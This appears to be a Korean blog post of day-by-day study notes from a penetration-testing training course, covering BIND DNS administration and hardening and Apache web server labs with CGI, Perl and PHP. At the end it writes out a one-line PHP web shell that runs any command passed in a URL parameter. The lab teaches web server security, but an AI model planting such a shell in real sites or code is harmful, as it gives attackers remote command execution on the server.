DNS
[실습8] RNDC 실습
# rpm -ql bind | egrep rndc
실행
# rndc-confgen 명령어를 수행해 출력되는 키를 확인해
하나의 내용은서버에 # vi /etc/named.conf
하나의 출력내용은 클라이언트 파일에 # vi /etc/rndc.conf
# systemctl restart named
# rndc status : 현재 동작중인 상태 정보 확인
# rndc stats ; cd /var/named/data && ls : DNS 서버 현재 통계 정보 확인
# rndc reload
[실습9] allow update / nsupdate CMD (보안에서 필요한 설정)
* nsupdate CMD
DNS 서버의 zone 데이터를 명령어를 사용하여 업데이트 및 관리 할 수 있는 명령어
* allow-update 지시자
(DNS Server) nsupdate 명령어를 허용할 IP를 지정
[실습10] allow-transfer (보안상 필요한 커맨드)
* allow-transfer 지시자
(Master DNS Server) Zone Data Transfer를 할 수 있는 Slave DNS 서버의 IP
DNS 서버 설정 및 보안 점검
krnic.or.kr > 도메인네임시스템 > DNS 자가점검
* chroot 구성
(ㄱ) # yum install bind-chroot
(ㄴ) docker
* allow-transfer, allow-query
* 최신 취약점 점검
# yum update bind
* 인증방식 + 데이터 암호화 : DNSSEC
[관리]
* DNS 통계 모니터링
http://sourceforge.net/projects/dnsgraph
4. WEB Server(EX: Apache)
* apache httpd
* ngnix
* IIS
■ Apache Web Server on CentOS 7.X
---------------------------------
● Program: httpd, mod_ssl + mod_perl(epel), php
● Daemon & Port & Protocol: httpd, 80(TCP), 443(TCP)
● Configuration File(s): /etc/httpd/conf/httpd.conf
● Sub Configuration File(s): /etc/httpd/conf.d/*.conf
/etc/httpd/conf.modules.d/*.conf
● Service: httpd.service
---------------------------------
● 추가 정리 부분은 : 기능
---------------------------------
[실습1] 간단한 웹서버 구축
# yum -y install httpd mod_ssl
# vi /etc/httpd/conf/httpd.conf
ServerAdmin webmaster@linux2XX.example.com
ServerName www.linux2XX.example.com:80
# echo "Welcome To MyServer" > /var/www/html/index.html
# systemctl enable httpd
# systemctl restart httpd
[실습2] 웹클라언트 툴
* (GUI) firefox
# firefox http://www.example.com &
* (TUI) curl/lynx CMD
# curl -k http://www.example.com
# lynx http://www.example.com (# yum install lynx)
* (CLI) telnet/nc CMD
# telnet www.example.com 80
GET / HTTP/1.0
<ENTER>
[실습3] 사용자 웹페이지 구성
-> /var/www/html/index.html
* http://www.example.com/~user01
-> /home/user01/public_html/index.html
# su - user01
$ chmod 755 /home/user01
$ mkdir public_html
$ echo 'Web Page for user01' > public_html/index.html
$ exit
# vi /etc/httpd/conf.d/userdir.conf
UserDir public_html
# systemctl restart httpd
# firefox http://www.linux2XX.example.com/~user01 &
[실습4] Alias 설정(EX: 웹 가상 디렉토리)
* 웹 가상디렉토리
* 웹 물리디렉토리
(웹 가상디렉토리)
# vi /etc/httpd/conf.d/autoindex.html
Alias /user01/ "/home/user01/public_html/"
# systemctl restart httpd
# firefox http://www.linux2XX.example.com/user01/ &
(웹 물리디렉토리)
# grep DocumentRoot /etc/httpd/conf/httpd.conf
# mkdir -p /var/www/html/user100
# echo 'hello world' > /var/www/html/user100/index.html
# firefox http://www.linux2XX.example.com/user100/ &
[실습5] httpd
# httpd -h
# httpd -t
# httpd -t -f httpd.example.conf
# httpd -v
# httpd -S
# httpd -M | egrep 'userdir|ssl|cgi'
[실습6] 가상호스트 + CGI 설정
# mkdir -p /www1
# vi /www1/index.html
<center><h1>/www1 (linux1XX:/www1)</h1></center>
# vi /etc/httpd/conf.d/vhost.conf
<VirtualHost *:80>
DocumentRoot /www1
ServerName www.linux249.example.com
ServerAlias linux249.example.com
<Directory /www1>
Options Indexes Includes
Require all granted
</Directory>
ScriptAlias /cgi-bin/ /www1/cgi-bin/
</VirtualHost>
# httpd -t
# mkdir -p /www1/cgi-bin
# vi /www1/cgi-bin/test.cgi
-------------------------------------
#!/bin/bash
echo "Content-Type: text/html"
echo "<pre>"
CMD
echo "</pre>"
-------------------------------------
# chmod +555 /www1/cgi-bin/test.cgi
# systemctl restart httpd
# firefox http://www.linux2XX.example.com &
# firefox http://www.linux2XX.example.com/cgi-bin/test.cgi &
[참고] 서버 요청시 에러 메세지(Response Code)
* 200 OK
* 403 Forbidden
* 404 Not Found
* 500 Internal Server Error
[실습7] perl 스크립트 사용(perl + mod_perl)
# yum install epel-release
# yum install mod_perl
# vi /etc/httpd/conf.d/perl.conf /* 기존 라인의 주석 제거 해서 사용 */
Alias /perl /var/www/perl
<Directory /var/www/perl>
SetHandler perl-script
PerlResponseHandler ModPerl::Registry
PerlOptions +ParseHeaders
Options +ExecCGI
</Directory>
# mkdir -p /var/www/perl
# vi /var/www/perl/test.pl
-----------------------------------
#!/usr/bin/perl
use strict;
print "Content-Type: text/html; charset=ISO-8859-1\n\n";
print "<HTML><BODY><H1><CENTER>";
print "The current Perl time is:<BR>";
print scalar localtime();
print "</CENTER></H1></BODY></HTML>"
-----------------------------------
# chmod 555 /var/www/perl/test.pl
# firefox http://www.linux2XX.example.com/perl/test.pl
(복원) epel disable
# vi /etc/yum.repos.d/epel.repo
enabled=0
# yum --enablerepo=epel install mod_perl
[실습8] PHP 스크립트 사용
# yum -y install php
# view /etc/httpd/conf.d/php.conf
# vi /www1/test.php
-------------------------------------
<?php phpinfo(); ?>
-------------------------------------
# firefox http://www.linux2XX.example.com/test.php
[참고] One Line Web Shell
# vi /www1/cmd.php
-------------------------------------
<pre>
<?php echo shell_exec($_GET['cmd']); ?>
</pre>
-------------------------------------
# firefox &
http://www.linux2XX.example.com/cmd.php?cmd=CMD
'정보보안공부 > 정보보안전문과정' 카테고리의 다른 글
모의해킹 침해대응 정보보안 전문가 양성과정 Day19 (0) | 2020.09.28 |
---|---|
모의해킹 침해대응 정보보안 전문가 양성과정 Day18 (0) | 2020.09.25 |
모의해킹 침해대응 정보보안 전문가 양성과정 Day16 (0) | 2020.09.23 |
모의해킹 침해대응 정보보안 전문가 양성과정 Day15 (0) | 2020.09.22 |
모의해킹 침해대응 정보보안 전문가 양성과정 Day14 (0) | 2020.09.21 |